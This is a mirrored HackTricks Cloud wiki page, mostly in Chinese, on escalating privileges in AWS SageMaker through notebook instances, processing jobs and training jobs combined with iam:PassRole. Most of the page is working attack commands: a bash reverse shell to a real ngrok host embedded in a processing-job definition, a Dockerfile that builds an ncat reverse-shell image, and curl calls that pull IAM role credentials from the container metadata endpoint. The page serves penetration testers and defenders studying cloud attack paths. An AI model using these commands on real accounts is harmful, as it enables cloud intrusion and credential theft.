mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-26 11:14:40 -08:00
107 lines
5.2 KiB
Markdown
107 lines
5.2 KiB
Markdown
# AWS - Sagemaker Privesc
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## AWS - Sagemaker Privesc
|
||
|
||
|
||
|
||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||
|
||
开始创建一个与其关联的 IAM 角色访问的笔记本：
|
||
```bash
|
||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||
--instance-type ml.t2.medium \
|
||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||
```
|
||
响应应包含一个 `NotebookInstanceArn` 字段，该字段将包含新创建的笔记本实例的 ARN。然后，我们可以使用 `create-presigned-notebook-instance-url` API 生成一个 URL，以便在笔记本实例准备好后访问它：
|
||
```bash
|
||
aws sagemaker create-presigned-notebook-instance-url \
|
||
--notebook-instance-name <name>
|
||
```
|
||
导航到 URL 并在浏览器中点击右上角的 \`Open JupyterLab\`，然后向下滚动到“Launcher”选项卡，在“Other”部分，点击“Terminal”按钮。
|
||
|
||
现在可以访问 IAM 角色的元数据凭证。
|
||
|
||
**潜在影响：** 提升到指定的 sagemaker 服务角色。
|
||
|
||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||
|
||
如果已经在上面运行 Jupyter **notebooks**，并且您可以通过 `sagemaker:ListNotebookInstances` 列出它们（或以其他方式发现它们）。您可以 **为它们生成一个 URL，访问它们，并窃取凭证，如前面所述的技术所示**。
|
||
```bash
|
||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||
```
|
||
**潜在影响：** 提升到附加的 sagemaker 服务角色。
|
||
|
||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||
|
||
拥有这些权限的攻击者可以使 **sagemaker 执行一个 processingjob**，并附加一个 sagemaker 角色。攻击者可以指定将在 **AWS 管理的 ECS 账户实例** 中运行的容器的定义，并 **窃取附加的 IAM 角色的凭证**。
|
||
```bash
|
||
# I uploaded a python docker image to the ECR
|
||
aws sagemaker create-processing-job \
|
||
--processing-job-name privescjob \
|
||
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
|
||
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
|
||
--role-arn <sagemaker-arn-role>
|
||
|
||
# In my tests it took 10min to receive the shell
|
||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
|
||
```
|
||
**潜在影响：** 提升到指定的 sagemaker 服务角色。
|
||
|
||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||
|
||
拥有这些权限的攻击者将能够创建一个训练作业，**在其上运行任意容器**，并附加一个**角色**。因此，攻击者将能够窃取该角色的凭证。
|
||
|
||
> [!WARNING]
|
||
> 这个场景比之前的更难以利用，因为你需要生成一个 Docker 镜像，该镜像将直接将反向 shell 或凭证发送给攻击者（你无法在训练作业的配置中指定启动命令）。
|
||
>
|
||
> ```bash
|
||
> # 创建 docker 镜像
|
||
> mkdir /tmp/rev
|
||
> ## 注意训练作业将调用一个名为 "train" 的可执行文件
|
||
> ## 这就是我将反向 shell 放在 /bin/train 的原因
|
||
> ## 设置 <YOUR-IP-OR-DOMAIN> 和 <YOUR-PORT> 的值
|
||
> cat > /tmp/rev/Dockerfile <<EOF
|
||
> FROM ubuntu
|
||
> RUN apt update && apt install -y ncat curl
|
||
> RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
|
||
> RUN chmod +x /bin/train
|
||
> CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
|
||
> EOF
|
||
>
|
||
> cd /tmp/rev
|
||
> sudo docker build . -t reverseshell
|
||
>
|
||
> # 上传到 ECR
|
||
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
|
||
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||
> ```
|
||
```bash
|
||
# Create trainning job with the docker image created
|
||
aws sagemaker create-training-job \
|
||
--training-job-name privescjob \
|
||
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
|
||
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
|
||
--role-arn <role-arn> \
|
||
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
|
||
--stopping-condition '{"MaxRuntimeInSeconds": 600}'
|
||
|
||
#To get the creds
|
||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
|
||
```
|
||
**潜在影响：** 提升到指定的 sagemaker 服务角色。
|
||
|
||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||
|
||
拥有这些权限的攻击者将（可能）能够创建一个 **超参数训练作业**，**在其上运行任意容器**，并附加一个 **角色**。\
|
||
_我还没有利用这个漏洞，因为时间不够，但看起来与之前的漏洞类似，欢迎提交 PR 以提供利用细节。_
|
||
|
||
## 参考
|
||
|
||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|